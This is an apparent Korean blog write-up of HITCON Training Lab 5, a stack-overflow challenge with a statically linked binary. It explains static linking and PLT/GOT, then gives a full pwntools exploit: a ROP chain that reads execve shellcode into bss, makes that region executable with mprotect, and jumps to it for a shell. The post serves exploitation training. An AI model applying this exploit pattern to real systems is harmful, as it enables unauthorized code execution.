LAB 5

728x90

Mitigation

Code

#include <stdio.h>

int main(){
	char buf[20];
	puts("ROP is easy is'nt it ?");
	printf("Your input :");
	fflush(stdout);
	read(0,buf,100);
}

 

Exploit 방법

Statically linked로 되어있음.

Static link 방식의 경우 파일 생성 시 라이브러리의 내용을 포함시켜 실행파일을 생성한다. 실행파일 내부에 모든 코드가 포함되기 때문에 라이브러리의 연동이 필요없으며 필요한 라이브러리들이 내부에 있기 때문에 관리가 필요없다. 하지만 그만큼 파일 용량이 커지며 동일한 라이브러리를 사용하게 되더라도 해당 라이브러리를 사용하는 모든 프로그램들이 라이브러리내용을 메모리에 패밍시켜야한다는 단점이 존재한다. 출처: https://정영호.kr/123 [Ho_use]

plt와 got는 Dynamic link방식에서 사용된다.

그 이유는 static link 방식의 경우 사용할 라이브러리가 프로그램 내부에 있기 때문에

함수의 주소를 알아오는 과정이 필요없지만 dynamic link의 경우는 컴파일 시

라이브러리가 외부에 있기 때문에 주소를 알아오는 과정이 필요하기 때문

출처: https://정영호.kr/123

 

PLT 와 GOT

PLT와 GOT에 대해서 알아보도록 하겠다!! 이해하기전에 어떤식으로 프로그램이 컴파일되고 실행되는지를 알아야한다. C언어 코드를 예로 들어보겠다. 1 2 3 4 5 6 7 #include int main() {     printf("Hello.

xn--vj5b11biyw.kr

즉 plt나 got를 이용하지 않고 rop를 해야한다는 말이다.

https://err0rless313.tistory.com/entry/mprotect-함수-이용하여-Exploit하기

 

mprotect() 함수 이용하여 Exploit하기

mprotect()의 원형 int mprotect(void *addr, size_t len, int prot); 원래 일반적인 ROP기법을 써서 system() 함수를 실행시키는 방법을 주로 사용했었다. 그런데 NX-Bit가 걸려있어도 mprotect() 함수를 실행시..

err0rless313.tistory.com

https://www.lazenca.net/display/TEC/03.ROP(Return+Oriented+Programming)+-+mmap%2C+mprotect

 

03.ROP(Return Oriented Programming) - mmap, mprotect - TechNote - Lazenca.0x0

Excuse the ads! We need some help to keep our site up. List ROP(Return Oriented Programming) - mmap, mprotect ROP를 이용하여 메모리 영역을 할당(mmap)하거나 할당된 메모리 영역의 권한을 변경(mprotect)하는 방법에 대해 설

www.lazenca.net

블로그를 참조하였다.

read명령을 이용하여 bss에 쉘코드를 넣는다(bss) → mprotect를 이용하여 bss영역의 실행 권한 변경하고, ret에 bss주소를 넣어주면 쉘이 따질 것이다.

 

from pwn import *
#context.log_level = 'debug'

p = process('./simplerop')
e = ELF('./simplerop')
bss = e.bss()-0xf80 # 0x80eaf80 - f80 = 0x80ea000
shellcode = "\x90"*0x10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
pop3ret = 0x804838c
popret = 0x80481c9
mprotect = 0x806d870
payload = "A"*0x20
payload += p32(0x806cd50) # read
payload += p32(pop3ret)
payload += p32(0)
payload += p32(bss)
payload += p32(0x100)

payload += p32(mprotect)
payload += p32(pop3ret)
payload += p32(bss)
payload += p32(0x2000)
payload += p32(7)

payload += p32(bss)
log.info('bss : 0x%x' % bss)
p.sendlineafter('input :', payload)
p.sendline(shellcode)
p.interactive()

mprotect함수의 구조를 보자

 

int mprotect(void *addr, size_t len, int prot);

의 구조를 가진다.

이때 *addr은 0x1000의 배수여야한다.

prot는 권한을 주게 되는데, 7을 주면 RXW가 전부 가능해져 특정 메모리 영역의 권한을 변경할 수 있다.

exploit

  1. bss영역을 구하는데, 이때 bss영역이 0x1000의 배수가 되도록 변경해준다
  2. read함수의 주소를 이용, bss에 쉘코드를 입력해준다
  3. mprotect함수를 이용하여 bss영역의 권한을 RWX로 변경해주고
  4. 쉘코드가 들어있는 bss영역을 호출해주면, 성공적으로 쉘이 따지게 된다
728x90

'Hitcon Training' 카테고리의 다른 글

LAB 14(Unsorted bin Attack)  (0) 2021.07.25
LAB 12(Fastbin attack)  (0) 2021.07.25
LAB 5 - 미완성  (0) 2021.07.25
LAB 3  (0) 2021.07.25
Lab 1  (0) 2021.07.25